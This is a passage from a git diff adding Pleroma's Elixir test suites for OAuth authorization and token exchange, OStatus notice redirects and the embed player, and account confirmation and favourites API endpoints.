=> app.client_id, + "redirect_uri" => unlisted_redirect_uri, + "state" => "specific_client_state", + "scope" => "read" + } + ) + + assert redirected_to(conn) == unlisted_redirect_uri + end + + test "with existing authentication and OOB `redirect_uri`, redirects to app with `token` and `state` params", + %{ + app: app, + conn: conn + } do + token = insert(:oauth_token, app: app) + + conn = + conn + |> put_session(:oauth_token, token.token) + |> get( + "/oauth/authorize", + %{ + "response_type" => "code", + "client_id" => app.client_id, + "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob", + "scope" => "read" + } + ) + + assert html_response(conn, 200) =~ "Authorization exists" + end + end + + describe "POST /oauth/authorize" do + test "redirects with oauth authorization, " <> + "granting requested app-supported scopes to both admin- and non-admin users" do + app_scopes = ["read", "write", "admin", "secret_scope"] + app = insert(:oauth_app, scopes: app_scopes) + redirect_uri = OAuthController.default_redirect_uri(app) + + non_admin = insert(:user, is_admin: false) + admin = insert(:user, is_admin: true) + scopes_subset = ["read:subscope", "write", "admin"] + + # In case scope param is missing, expecting _all_ app-supported scopes to be granted + for user <- [non_admin, admin], + {requested_scopes, expected_scopes} <- + %{scopes_subset => scopes_subset, nil: app_scopes} do + conn = + post( + build_conn(), + "/oauth/authorize", + %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "test", + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "scope" => requested_scopes, + "state" => "statepassed" + } + } + ) + + target = redirected_to(conn) + assert target =~ redirect_uri + + query = URI.parse(target).query |> URI.query_decoder() |> Map.new() + + assert %{"state" => "statepassed", "code" => code} = query + auth = Repo.get_by(Authorization, token: code) + assert auth + assert auth.scopes == expected_scopes + end + end + + test "redirect to on two-factor auth page" do + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + app = insert(:oauth_app, scopes: ["read", "write", "follow"]) + + conn = + build_conn() + |> post("/oauth/authorize", %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "test", + "client_id" => app.client_id, + "redirect_uri" => app.redirect_uris, + "scope" => "read write", + "state" => "statepassed" + } + }) + + result = html_response(conn, 200) + + mfa_token = Repo.get_by(MFA.Token, user_id: user.id) + assert result =~ app.redirect_uris + assert result =~ "statepassed" + assert result =~ mfa_token.token + assert result =~ "Two-factor authentication" + end + + test "returns 401 for wrong credentials", %{conn: conn} do + user = insert(:user) + app = insert(:oauth_app) + redirect_uri = OAuthController.default_redirect_uri(app) + + result = + conn + |> post("/oauth/authorize", %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "wrong", + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "statepassed", + "scope" => Enum.join(app.scopes, " ") + } + }) + |> html_response(:unauthorized) + + # Keep the details + assert result =~ app.client_id + assert result =~ redirect_uri + + # Error message + assert result =~ "Invalid Username/Password" + end + + test "returns 401 for missing scopes" do + user = insert(:user, is_admin: false) + app = insert(:oauth_app, scopes: ["read", "write", "admin"]) + redirect_uri = OAuthController.default_redirect_uri(app) + + result = + build_conn() + |> post("/oauth/authorize", %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "test", + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "statepassed", + "scope" => "" + } + }) + |> html_response(:unauthorized) + + # Keep the details + assert result =~ app.client_id + assert result =~ redirect_uri + + # Error message + assert result =~ "This action is outside the authorized scopes" + end + + test "returns 401 for scopes beyond app scopes hierarchy", %{conn: conn} do + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + redirect_uri = OAuthController.default_redirect_uri(app) + + result = + conn + |> post("/oauth/authorize", %{ + "authorization" => %{ + "name" => user.nickname, + "password" => "test", + "client_id" => app.client_id, + "redirect_uri" => redirect_uri, + "state" => "statepassed", + "scope" => "read write follow" + } + }) + |> html_response(:unauthorized) + + # Keep the details + assert result =~ app.client_id + assert result =~ redirect_uri + + # Error message + assert result =~ "This action is outside the authorized scopes" + end + end + + describe "POST /oauth/token" do + test "issues a token for an all-body request" do + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "authorization_code", + "code" => auth.token, + "redirect_uri" => OAuthController.default_redirect_uri(app), + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token, "me" => ap_id} = json_response(conn, 200) + + token = Repo.get_by(Token, token: token) + assert token + assert token.scopes == auth.scopes + assert user.ap_id == ap_id + end + + test "issues a token for `password` grant_type with valid credentials, with full permissions by default" do + password = "testpassword" + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + # Note: "scope" param is intentionally omitted + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token} = json_response(conn, 200) + + token = Repo.get_by(Token, token: token) + assert token + assert token.scopes == app.scopes + end + + test "issues a mfa token for `password` grant_type, when MFA enabled" do + password = "testpassword" + otp_secret = TOTP.generate_secret() + + user = + insert(:user, + password_hash: Pbkdf2.hash_pwd_salt(password), + multi_factor_authentication_settings: %MFA.Settings{ + enabled: true, + totp: %MFA.Settings.TOTP{secret: otp_secret, confirmed: true} + } + ) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(403) + + assert match?( + %{ + "supported_challenge_types" => "totp", + "mfa_token" => _, + "error" => "mfa_required" + }, + response + ) + + token = Repo.get_by(MFA.Token, token: response["mfa_token"]) + assert token.user_id == user.id + assert token.authorization_id + end + + test "issues a token for request with HTTP basic auth client credentials" do + user = insert(:user) + app = insert(:oauth_app, scopes: ["scope1", "scope2", "scope3"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["scope1", "scope2"]) + assert auth.scopes == ["scope1", "scope2"] + + app_encoded = + (URI.encode_www_form(app.client_id) <> ":" <> URI.encode_www_form(app.client_secret)) + |> Base.encode64() + + conn = + build_conn() + |> put_req_header("authorization", "Basic " <> app_encoded) + |> post("/oauth/token", %{ + "grant_type" => "authorization_code", + "code" => auth.token, + "redirect_uri" => OAuthController.default_redirect_uri(app) + }) + + assert %{"access_token" => token, "scope" => scope} = json_response(conn, 200) + + assert scope == "scope1 scope2" + + token = Repo.get_by(Token, token: token) + assert token + assert token.scopes == ["scope1", "scope2"] + end + + test "issue a token for client_credentials grant type" do + app = insert(:oauth_app, scopes: ["read", "write"]) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "client_credentials", + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} = + json_response(conn, 200) + + assert token + token_from_db = Repo.get_by(Token, token: token) + assert token_from_db + assert refresh + assert scope == "read write" + end + + test "rejects token exchange with invalid client credentials" do + user = insert(:user) + app = insert(:oauth_app) + + {:ok, auth} = Authorization.create_authorization(app, user) + + conn = + build_conn() + |> put_req_header("authorization", "Basic JTIxOiVGMCU5RiVBNCVCNwo=") + |> post("/oauth/token", %{ + "grant_type" => "authorization_code", + "code" => auth.token, + "redirect_uri" => OAuthController.default_redirect_uri(app) + }) + + assert resp = json_response(conn, 400) + assert %{"error" => _} = resp + refute Map.has_key?(resp, "access_token") + end + + test "rejects token exchange for valid credentials belonging to unconfirmed user and confirmation is required" do + Pleroma.Config.put([:instance, :account_activation_required], true) + password = "testpassword" + + {:ok, user} = + insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password)) + |> User.confirmation_changeset(need_confirmation: true) + |> User.update_and_set_cache() + + refute Pleroma.User.account_status(user) == :active + + app = insert(:oauth_app) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert resp = json_response(conn, 403) + assert %{"error" => _} = resp + refute Map.has_key?(resp, "access_token") + end + + test "rejects token exchange for valid credentials belonging to deactivated user" do + password = "testpassword" + + user = + insert(:user, + password_hash: Pbkdf2.hash_pwd_salt(password), + deactivated: true + ) + + app = insert(:oauth_app) + + resp = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(403) + + assert resp == %{ + "error" => "Your account is currently disabled", + "identifier" => "account_is_disabled" + } + end + + test "rejects token exchange for user with password_reset_pending set to true" do + password = "testpassword" + + user = + insert(:user, + password_hash: Pbkdf2.hash_pwd_salt(password), + password_reset_pending: true + ) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + resp = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(403) + + assert resp == %{ + "error" => "Password reset is required", + "identifier" => "password_reset_required" + } + end + + test "rejects token exchange for user with confirmation_pending set to true" do + Pleroma.Config.put([:instance, :account_activation_required], true) + password = "testpassword" + + user = + insert(:user, + password_hash: Pbkdf2.hash_pwd_salt(password), + confirmation_pending: true + ) + + app = insert(:oauth_app, scopes: ["read", "write"]) + + resp = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(403) + + assert resp == %{ + "error" => "Your login is missing a confirmed e-mail address", + "identifier" => "missing_confirmed_email" + } + end + + test "rejects token exchange for valid credentials belonging to an unapproved user" do + password = "testpassword" + + user = insert(:user, password_hash: Pbkdf2.hash_pwd_salt(password), approval_pending: true) + + refute Pleroma.User.account_status(user) == :active + + app = insert(:oauth_app) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "password", + "username" => user.nickname, + "password" => password, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert resp = json_response(conn, 403) + assert %{"error" => _} = resp + refute Map.has_key?(resp, "access_token") + end + + test "rejects an invalid authorization code" do + app = insert(:oauth_app) + + conn = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "authorization_code", + "code" => "Imobviouslyinvalid", + "redirect_uri" => OAuthController.default_redirect_uri(app), + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + + assert resp = json_response(conn, 400) + assert %{"error" => _} = json_response(conn, 400) + refute Map.has_key?(resp, "access_token") + end + end + + describe "POST /oauth/token - refresh token" do + setup do: clear_config([:oauth2, :issue_new_refresh_token]) + + test "issues a new access token with keep fresh token" do + Pleroma.Config.put([:oauth2, :issue_new_refresh_token], true) + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + {:ok, token} = Token.exchange_token(app, auth) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => token.refresh_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(200) + + ap_id = user.ap_id + + assert match?( + %{ + "scope" => "write", + "token_type" => "Bearer", + "expires_in" => 600, + "access_token" => _, + "refresh_token" => _, + "me" => ^ap_id + }, + response + ) + + refute Repo.get_by(Token, token: token.token) + new_token = Repo.get_by(Token, token: response["access_token"]) + assert new_token.refresh_token == token.refresh_token + assert new_token.scopes == auth.scopes + assert new_token.user_id == user.id + assert new_token.app_id == app.id + end + + test "issues a new access token with new fresh token" do + Pleroma.Config.put([:oauth2, :issue_new_refresh_token], false) + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + {:ok, token} = Token.exchange_token(app, auth) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => token.refresh_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(200) + + ap_id = user.ap_id + + assert match?( + %{ + "scope" => "write", + "token_type" => "Bearer", + "expires_in" => 600, + "access_token" => _, + "refresh_token" => _, + "me" => ^ap_id + }, + response + ) + + refute Repo.get_by(Token, token: token.token) + new_token = Repo.get_by(Token, token: response["access_token"]) + refute new_token.refresh_token == token.refresh_token + assert new_token.scopes == auth.scopes + assert new_token.user_id == user.id + assert new_token.app_id == app.id + end + + test "returns 400 if we try use access token" do + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + {:ok, token} = Token.exchange_token(app, auth) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => token.token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert %{"error" => "Invalid credentials"} == response + end + + test "returns 400 if refresh_token invalid" do + app = insert(:oauth_app, scopes: ["read", "write"]) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => "token.refresh_token", + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(400) + + assert %{"error" => "Invalid credentials"} == response + end + + test "issues a new token if token expired" do + user = insert(:user) + app = insert(:oauth_app, scopes: ["read", "write"]) + + {:ok, auth} = Authorization.create_authorization(app, user, ["write"]) + {:ok, token} = Token.exchange_token(app, auth) + + change = + Ecto.Changeset.change( + token, + %{valid_until: NaiveDateTime.add(NaiveDateTime.utc_now(), -86_400 * 30)} + ) + + {:ok, access_token} = Repo.update(change) + + response = + build_conn() + |> post("/oauth/token", %{ + "grant_type" => "refresh_token", + "refresh_token" => access_token.refresh_token, + "client_id" => app.client_id, + "client_secret" => app.client_secret + }) + |> json_response(200) + + ap_id = user.ap_id + + assert match?( + %{ + "scope" => "write", + "token_type" => "Bearer", + "expires_in" => 600, + "access_token" => _, + "refresh_token" => _, + "me" => ^ap_id + }, + response + ) + + refute Repo.get_by(Token, token: token.token) + token = Repo.get_by(Token, token: response["access_token"]) + assert token + assert token.scopes == auth.scopes + assert token.user_id == user.id + assert token.app_id == app.id + end + end + + describe "POST /oauth/token - bad request" do + test "returns 500" do + response = + build_conn() + |> post("/oauth/token", %{}) + |> json_response(500) + + assert %{"error" => "Bad request"} == response + end + end + + describe "POST /oauth/revoke - bad request" do + test "returns 500" do + response = + build_conn() + |> post("/oauth/revoke", %{}) + |> json_response(500) + + assert %{"error" => "Bad request"} == response + end + end +end diff --git a/test/pleroma/web/o_auth/token/utils_test.exs b/test/pleroma/web/o_auth/token/utils_test.exs new file mode 100644 index 000000000..a610d92f8 --- /dev/null +++ b/test/pleroma/web/o_auth/token/utils_test.exs @@ -0,0 +1,53 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.Token.UtilsTest do + use Pleroma.DataCase + alias Pleroma.Web.OAuth.Token.Utils + import Pleroma.Factory + + describe "fetch_app/1" do + test "returns error when credentials is invalid" do + assert {:error, :not_found} = + Utils.fetch_app(%Plug.Conn{params: %{"client_id" => 1, "client_secret" => "x"}}) + end + + test "returns App by params credentails" do + app = insert(:oauth_app) + + assert {:ok, load_app} = + Utils.fetch_app(%Plug.Conn{ + params: %{"client_id" => app.client_id, "client_secret" => app.client_secret} + }) + + assert load_app == app + end + + test "returns App by header credentails" do + app = insert(:oauth_app) + header = "Basic " <> Base.encode64("#{app.client_id}:#{app.client_secret}") + + conn = + %Plug.Conn{} + |> Plug.Conn.put_req_header("authorization", header) + + assert {:ok, load_app} = Utils.fetch_app(conn) + assert load_app == app + end + end + + describe "format_created_at/1" do + test "returns formatted created at" do + token = insert(:oauth_token) + date = Utils.format_created_at(token) + + token_date = + token.inserted_at + |> DateTime.from_naive!("Etc/UTC") + |> DateTime.to_unix() + + assert token_date == date + end + end +end diff --git a/test/pleroma/web/o_auth/token_test.exs b/test/pleroma/web/o_auth/token_test.exs new file mode 100644 index 000000000..c88b9cc98 --- /dev/null +++ b/test/pleroma/web/o_auth/token_test.exs @@ -0,0 +1,72 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OAuth.TokenTest do + use Pleroma.DataCase + alias Pleroma.Repo + alias Pleroma.Web.OAuth.App + alias Pleroma.Web.OAuth.Authorization + alias Pleroma.Web.OAuth.Token + + import Pleroma.Factory + + test "exchanges a auth token for an access token, preserving `scopes`" do + {:ok, app} = + Repo.insert( + App.register_changeset(%App{}, %{ + client_name: "client", + scopes: ["read", "write"], + redirect_uris: "url" + }) + ) + + user = insert(:user) + + {:ok, auth} = Authorization.create_authorization(app, user, ["read"]) + assert auth.scopes == ["read"] + + {:ok, token} = Token.exchange_token(app, auth) + + assert token.app_id == app.id + assert token.user_id == user.id + assert token.scopes == auth.scopes + assert String.length(token.token) > 10 + assert String.length(token.refresh_token) > 10 + + auth = Repo.get(Authorization, auth.id) + {:error, "already used"} = Token.exchange_token(app, auth) + end + + test "deletes all tokens of a user" do + {:ok, app1} = + Repo.insert( + App.register_changeset(%App{}, %{ + client_name: "client1", + scopes: ["scope"], + redirect_uris: "url" + }) + ) + + {:ok, app2} = + Repo.insert( + App.register_changeset(%App{}, %{ + client_name: "client2", + scopes: ["scope"], + redirect_uris: "url" + }) + ) + + user = insert(:user) + + {:ok, auth1} = Authorization.create_authorization(app1, user) + {:ok, auth2} = Authorization.create_authorization(app2, user) + + {:ok, _token1} = Token.exchange_token(app1, auth1) + {:ok, _token2} = Token.exchange_token(app2, auth2) + + {tokens, _} = Token.delete_user_tokens(user) + + assert tokens == 2 + end +end diff --git a/test/pleroma/web/o_status/o_status_controller_test.exs b/test/pleroma/web/o_status/o_status_controller_test.exs new file mode 100644 index 000000000..ee498f4b5 --- /dev/null +++ b/test/pleroma/web/o_status/o_status_controller_test.exs @@ -0,0 +1,338 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.OStatus.OStatusControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Config + alias Pleroma.Object + alias Pleroma.User + alias Pleroma.Web.ActivityPub.ActivityPub + alias Pleroma.Web.CommonAPI + alias Pleroma.Web.Endpoint + + require Pleroma.Constants + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + setup do: clear_config([:instance, :federating], true) + + describe "Mastodon compatibility routes" do + setup %{conn: conn} do + conn = put_req_header(conn, "accept", "text/html") + + {:ok, object} = + %{ + "type" => "Note", + "content" => "hey", + "id" => Endpoint.url() <> "/users/raymoo/statuses/999999999", + "actor" => Endpoint.url() <> "/users/raymoo", + "to" => [Pleroma.Constants.as_public()] + } + |> Object.create() + + {:ok, activity, _} = + %{ + "id" => object.data["id"] <> "/activity", + "type" => "Create", + "object" => object.data["id"], + "actor" => object.data["actor"], + "to" => object.data["to"] + } + |> ActivityPub.persist(local: true) + + %{conn: conn, activity: activity} + end + + test "redirects to /notice/:id for html format", %{conn: conn, activity: activity} do + conn = get(conn, "/users/raymoo/statuses/999999999") + assert redirected_to(conn) == "/notice/#{activity.id}" + end + + test "redirects to /notice/:id for html format for activity", %{ + conn: conn, + activity: activity + } do + conn = get(conn, "/users/raymoo/statuses/999999999/activity") + assert redirected_to(conn) == "/notice/#{activity.id}" + end + end + + # Note: see ActivityPubControllerTest for JSON format tests + describe "GET /objects/:uuid (text/html)" do + setup %{conn: conn} do + conn = put_req_header(conn, "accept", "text/html") + %{conn: conn} + end + + test "redirects to /notice/id for html format", %{conn: conn} do + note_activity = insert(:note_activity) + object = Object.normalize(note_activity) + [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"])) + url = "/objects/#{uuid}" + + conn = get(conn, url) + assert redirected_to(conn) == "/notice/#{note_activity.id}" + end + + test "404s on private objects", %{conn: conn} do + note_activity = insert(:direct_note_activity) + object = Object.normalize(note_activity) + [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, object.data["id"])) + + conn + |> get("/objects/#{uuid}") + |> response(404) + end + + test "404s on non-existing objects", %{conn: conn} do + conn + |> get("/objects/123") + |> response(404) + end + end + + # Note: see ActivityPubControllerTest for JSON format tests + describe "GET /activities/:uuid (text/html)" do + setup %{conn: conn} do + conn = put_req_header(conn, "accept", "text/html") + %{conn: conn} + end + + test "redirects to /notice/id for html format", %{conn: conn} do + note_activity = insert(:note_activity) + [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"])) + + conn = get(conn, "/activities/#{uuid}") + assert redirected_to(conn) == "/notice/#{note_activity.id}" + end + + test "404s on private activities", %{conn: conn} do + note_activity = insert(:direct_note_activity) + [_, uuid] = hd(Regex.scan(~r/.+\/([\w-]+)$/, note_activity.data["id"])) + + conn + |> get("/activities/#{uuid}") + |> response(404) + end + + test "404s on nonexistent activities", %{conn: conn} do + conn + |> get("/activities/123") + |> response(404) + end + end + + describe "GET notice/2" do + test "redirects to a proper object URL when json requested and the object is local", %{ + conn: conn + } do + note_activity = insert(:note_activity) + expected_redirect_url = Object.normalize(note_activity).data["id"] + + redirect_url = + conn + |> put_req_header("accept", "application/activity+json") + |> get("/notice/#{note_activity.id}") + |> redirected_to() + + assert redirect_url == expected_redirect_url + end + + test "returns a 404 on remote notice when json requested", %{conn: conn} do + note_activity = insert(:note_activity, local: false) + + conn + |> put_req_header("accept", "application/activity+json") + |> get("/notice/#{note_activity.id}") + |> response(404) + end + + test "500s when actor not found", %{conn: conn} do + note_activity = insert(:note_activity) + user = User.get_cached_by_ap_id(note_activity.data["actor"]) + User.invalidate_cache(user) + Pleroma.Repo.delete(user) + + conn = + conn + |> get("/notice/#{note_activity.id}") + + assert response(conn, 500) == ~S({"error":"Something went wrong"}) + end + + test "render html for redirect for html format", %{conn: conn} do + note_activity = insert(:note_activity) + + resp = + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{note_activity.id}") + |> response(200) + + assert resp =~ + "" + + user = insert(:user) + + {:ok, like_activity} = CommonAPI.favorite(user, note_activity.id) + + assert like_activity.data["type"] == "Like" + + resp = + conn + |> put_req_header("accept", "text/html") + |> get("/notice/#{like_activity.id}") + |> response(200) + + assert resp =~ "" + end + + test "404s a private notice", %{conn: conn} do + note_activity = insert(:direct_note_activity) + url = "/notice/#{note_activity.id}" + + conn = + conn + |> get(url) + + assert response(conn, 404) + end + + test "404s a non-existing notice", %{conn: conn} do + url = "/notice/123" + + conn = + conn + |> get(url) + + assert response(conn, 404) + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn + } do + user = insert(:user) + note_activity = insert(:note_activity) + + conn = put_req_header(conn, "accept", "text/html") + + ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}", user) + end + end + + describe "GET /notice/:id/embed_player" do + setup do + note_activity = insert(:note_activity) + object = Pleroma.Object.normalize(note_activity) + + object_data = + Map.put(object.data, "attachment", [ + %{ + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ]) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + %{note_activity: note_activity} + end + + test "renders embed player", %{conn: conn, note_activity: note_activity} do + conn = get(conn, "/notice/#{note_activity.id}/embed_player") + + assert Plug.Conn.get_resp_header(conn, "x-frame-options") == ["ALLOW"] + + assert Plug.Conn.get_resp_header( + conn, + "content-security-policy" + ) == [ + "default-src 'none';style-src 'self' 'unsafe-inline';img-src 'self' data: https:; media-src 'self' https:;" + ] + + assert response(conn, 200) =~ + "" + end + + test "404s when activity isn't create", %{conn: conn} do + note_activity = insert(:note_activity, data_attrs: %{"type" => "Like"}) + + assert conn + |> get("/notice/#{note_activity.id}/embed_player") + |> response(404) + end + + test "404s when activity is direct message", %{conn: conn} do + note_activity = insert(:note_activity, data_attrs: %{"directMessage" => true}) + + assert conn + |> get("/notice/#{note_activity.id}/embed_player") + |> response(404) + end + + test "404s when attachment is empty", %{conn: conn} do + note_activity = insert(:note_activity) + object = Pleroma.Object.normalize(note_activity) + object_data = Map.put(object.data, "attachment", []) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + assert conn + |> get("/notice/#{note_activity.id}/embed_player") + |> response(404) + end + + test "404s when attachment isn't audio or video", %{conn: conn} do + note_activity = insert(:note_activity) + object = Pleroma.Object.normalize(note_activity) + + object_data = + Map.put(object.data, "attachment", [ + %{ + "url" => [ + %{ + "href" => "https://peertube.moe/static/webseed/480.jpg", + "mediaType" => "image/jpg", + "type" => "Link" + } + ] + } + ]) + + object + |> Ecto.Changeset.change(data: object_data) + |> Pleroma.Repo.update() + + conn + |> get("/notice/#{note_activity.id}/embed_player") + |> response(404) + end + + test "it requires authentication if instance is NOT federating", %{ + conn: conn, + note_activity: note_activity + } do + user = insert(:user) + conn = put_req_header(conn, "accept", "text/html") + + ensure_federating_or_authenticated(conn, "/notice/#{note_activity.id}/embed_player", user) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/account_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/account_controller_test.exs new file mode 100644 index 000000000..07909d48b --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/account_controller_test.exs @@ -0,0 +1,284 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.AccountControllerTest do + use Pleroma.Web.ConnCase + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + import Swoosh.TestAssertions + + describe "POST /api/v1/pleroma/accounts/confirmation_resend" do + setup do + {:ok, user} = + insert(:user) + |> User.confirmation_changeset(need_confirmation: true) + |> User.update_and_set_cache() + + assert user.confirmation_pending + + [user: user] + end + + setup do: clear_config([:instance, :account_activation_required], true) + + test "resend account confirmation email", %{conn: conn, user: user} do + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/accounts/confirmation_resend?email=#{user.email}") + |> json_response_and_validate_schema(:no_content) + + ObanHelpers.perform_all() + + email = Pleroma.Emails.UserEmail.account_confirmation_email(user) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + + test "resend account confirmation email (with nickname)", %{conn: conn, user: user} do + conn + |> put_req_header("content-type", "application/json") + |> post("/api/v1/pleroma/accounts/confirmation_resend?nickname=#{user.nickname}") + |> json_response_and_validate_schema(:no_content) + + ObanHelpers.perform_all() + + email = Pleroma.Emails.UserEmail.account_confirmation_email(user) + notify_email = Config.get([:instance, :notify_email]) + instance_name = Config.get([:instance, :name]) + + assert_email_sent( + from: {instance_name, notify_email}, + to: {user.name, user.email}, + html_body: email.html_body + ) + end + end + + describe "getting favorites timeline of specified user" do + setup do + [current_user, user] = insert_pair(:user, hide_favorites: false) + %{user: current_user, conn: conn} = oauth_access(["read:favourites"], user: current_user) + [current_user: current_user, user: user, conn: conn] + end + + test "returns list of statuses favorited by specified user", %{ + conn: conn, + user: user + } do + [activity | _] = insert_pair(:note_activity) + CommonAPI.favorite(user, activity.id) + + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(:ok) + + [like] = response + + assert length(response) == 1 + assert like["id"] == activity.id + end + + test "returns favorites for specified user_id when requester is not logged in", %{ + user: user + } do + activity = insert(:note_activity) + CommonAPI.favorite(user, activity.id) + + response = + build_conn() + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(200) + + assert length(response) == 1 + end + + test "returns favorited DM only when user is logged in and he is one of recipients", %{ + current_user: current_user, + user: user + } do + {:ok, direct} = + CommonAPI.post(current_user, %{ + status: "Hi @#{user.nickname}!", + visibility: "direct" + }) + + CommonAPI.favorite(user, direct.id) + + for u <- [user, current_user] do + response = + build_conn() + |> assign(:user, u) + |> assign(:token, insert(:oauth_token, user: u, scopes: ["read:favourites"])) + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(:ok) + + assert length(response) == 1 + end + + response = + build_conn() + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(200) + + assert length(response) == 0 + end + + test "does not return others' favorited DM when user is not one of recipients", %{ + conn: conn, + user: user + } do + user_two = insert(:user) + + {:ok, direct} = + CommonAPI.post(user_two, %{ + status: "Hi @#{user.nickname}!", + visibility: "direct" + }) + + CommonAPI.favorite(user, direct.id) + + response = + conn + |> get("/api/v1/pleroma/accounts/#{user.id}/favourites") + |> json_response_and_validate_schema(:ok) + + assert Enum.empty?(response) + end + + test "paginates favorites using since_id and max_id", %{ + conn: conn, + user: user + } do + activities = insert_list(10, :note_activity) + + Enum.each(activities, fn activity -> + CommonAPI.favorite(user, activity.id) + end) + + third_activity = Enum.at(activities, 2) + seventh_activity = Enum.at(activities, 6) + + response = + conn + |> get( + "/api/v1/pleroma/accounts/#{user.id}/favourites?since_id=#{third_activity.id}&max_id=#{ + seventh_activity.id + }" + ) + |> json_response_and_validate_schema(:ok) + + assert length(response) == 3 + refute third_activity in response + refute 